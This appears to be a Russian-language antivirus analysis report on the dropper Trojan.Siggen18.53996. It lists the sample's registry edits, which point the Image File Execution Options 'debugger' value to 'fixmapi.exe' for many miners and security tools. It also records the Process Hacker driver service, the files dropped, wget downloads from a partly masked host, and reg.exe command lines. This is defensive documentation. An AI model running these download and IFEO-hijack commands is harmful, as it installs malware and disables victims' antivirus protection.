Trojan.Siggen18.53996

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\payload.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svch0st.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\miner65.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\StartUpTool_w.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winidow.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSafeTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrws.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrueImageMonitor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tasksmgrs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSSysCtl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-aes-sse42.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mineos.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchoct.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Intelme.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsynchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows nt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\storectrl.dll] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xDedicLogCleaner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\starter_avp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SCTCleanupService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTcli.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccminer-x64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak-cpu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssm-xsc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System Idle Process.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex7.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CrashService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Interl thesaurus service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_cp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windir.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OOSU10.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DrWeb.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhosr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer-sse42.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinHide.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvnc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmmt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolvs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSvchost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveSecurity.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostStore.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRFeature.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRManager.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu-32] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SRService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icsys.icn.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servidor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetFramework.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetLibrary.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpnet.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrssl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VC90.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ROMFUSClient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mouse Lock_v22.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\redsurf.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WUDFHost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dsrviml.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQExternal.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qimlsrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srvan.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqtgcvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vmms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spsvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostXmrig.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemF0D7.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-api.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\network-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\update-app.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-active.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrsst.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysdown.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauclt.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsmosee.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EOSNotify.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Windows10Upgrade.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TpmInit.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wprehwc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner64.exe] 'debugger' = 'fixmapi.exe'

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\KProcessHacker2] 'ImagePath' = '<Текущая директория>\x64\kprocesshacker.sys'

Создает следующие сервисы

'KProcessHacker2' <Текущая директория>\x64\kprocesshacker.sys

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /f /im alark.exe

Изменения в файловой системе

Создает следующие файлы

<Текущая директория>\dedka.txt
<Текущая директория>\x64\plugins\extendednotifications.dll
<Текущая директория>\x64\plugins\extendedservices.dll
<Текущая директория>\x64\plugins\extendedtools.dll
<Текущая директория>\x64\plugins\hardwaredevices.dll
<Текущая директория>\x64\plugins\hexpidplugin.dll
<Текущая директория>\x64\plugins\networktools.dll
<Текущая директория>\x64\plugins\sbiesupport.dll
<Текущая директория>\x64\pomadachashin.exe
<Текущая директория>\x64\plugins\setcriticalplugin.dll
<Текущая директория>\x64\plugins\taskbarextplugin.dll
<Текущая директория>\x64\plugins\toolstatus.dll
<Текущая директория>\x64\plugins\trustedinstallerplugin.dll
<Текущая директория>\x64\plugins\usernotes.dll
<Текущая директория>\x64\plugins\windowexplorer.dll
<Текущая директория>\x64\plugins\dotnettools.dll
<Текущая директория>\x64\plugins\onlinechecks.dll
<Текущая директория>\x64\plugins\avgcpuplugin.dll
<Текущая директория>\asufer.exe
<Текущая директория>\dedka.bat
<Текущая директория>\rer.bat
<Текущая директория>\subinacl.exe
<Текущая директория>\wget.exe
%WINDIR%\subinacl.exe
%WINDIR%\ime\en-us\old\fxsext.ecf
<Текущая директория>\procx86.exe
<Текущая директория>\x64\kprocesshacker.sys
<Текущая директория>\aabes.exe
<Текущая директория>\ablay.exe
<Текущая директория>\rstyle.exe
<Текущая директория>\noloadn_old_new.exe
<Текущая директория>\procx64.exe
<Текущая директория>\x64\pomadachashin.exe.settings.xml
<Текущая директория>\x64\peview.exe
%WINDIR%\temp\uddf5f2.tmp

Удаляет следующие файлы

%WINDIR%\addins\fxsext.ecf
%WINDIR%\temp\uddf5f2.tmp

Сетевая активность

Подключается к

'ko####ay.myz.info':80

TCP

Запросы HTTP GET

http://ko####ay.myz.info/ASUFER.exe
http://ko####ay.myz.info/procx86.exe
http://ko####ay.myz.info/Aabes.exe
http://ko####ay.myz.info/ablay.exe
http://ko####ay.myz.info/ponka.exe
http://ko####ay.myz.info/rstyle.exe
http://ko####ay.myz.info/noloadn_OLD_New.exe
http://ko####ay.myz.info/procx64.exe

UDP

DNS ASK ko####ay.myz.info

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: 'ProcessHacker' WindowName: ''

Создает и запускает на исполнение

'<Текущая директория>\wget.exe' -i dedka.txt --continue --no-check-certificate --no-dns-cache
'<Текущая директория>\wget.exe' -c http://ko####ay.myz.info/procx64.exe
'<Текущая директория>\procx64.exe'
'<Текущая директория>\x64\pomadachashin.exe'
'<Текущая директория>\wget.exe' -c http://ko####ay.myz.info/clr.exe

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\rer.bat" "
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-cli.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mscvin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xngiesa.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\find.exe' "pomadachashin.exe"
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\miner65.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svch0st.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuCNMiner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tasksmgrs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 3
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmr-stak.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbox.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemIDLE.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\find.exe' "miter.exe"
'%WINDIR%\syswow64\find.exe' "WmiPrvService.exe"
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywareblaster.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\tasklist.exe'
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_opt_AVX2_AES.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System Idle Process.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\cmd.exe' /S /D /c" ver"
'%WINDIR%\syswow64\find.exe' "5.1"
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Trjscan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kryptex7.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CCleaner64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSetting.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\servicess.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchosts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
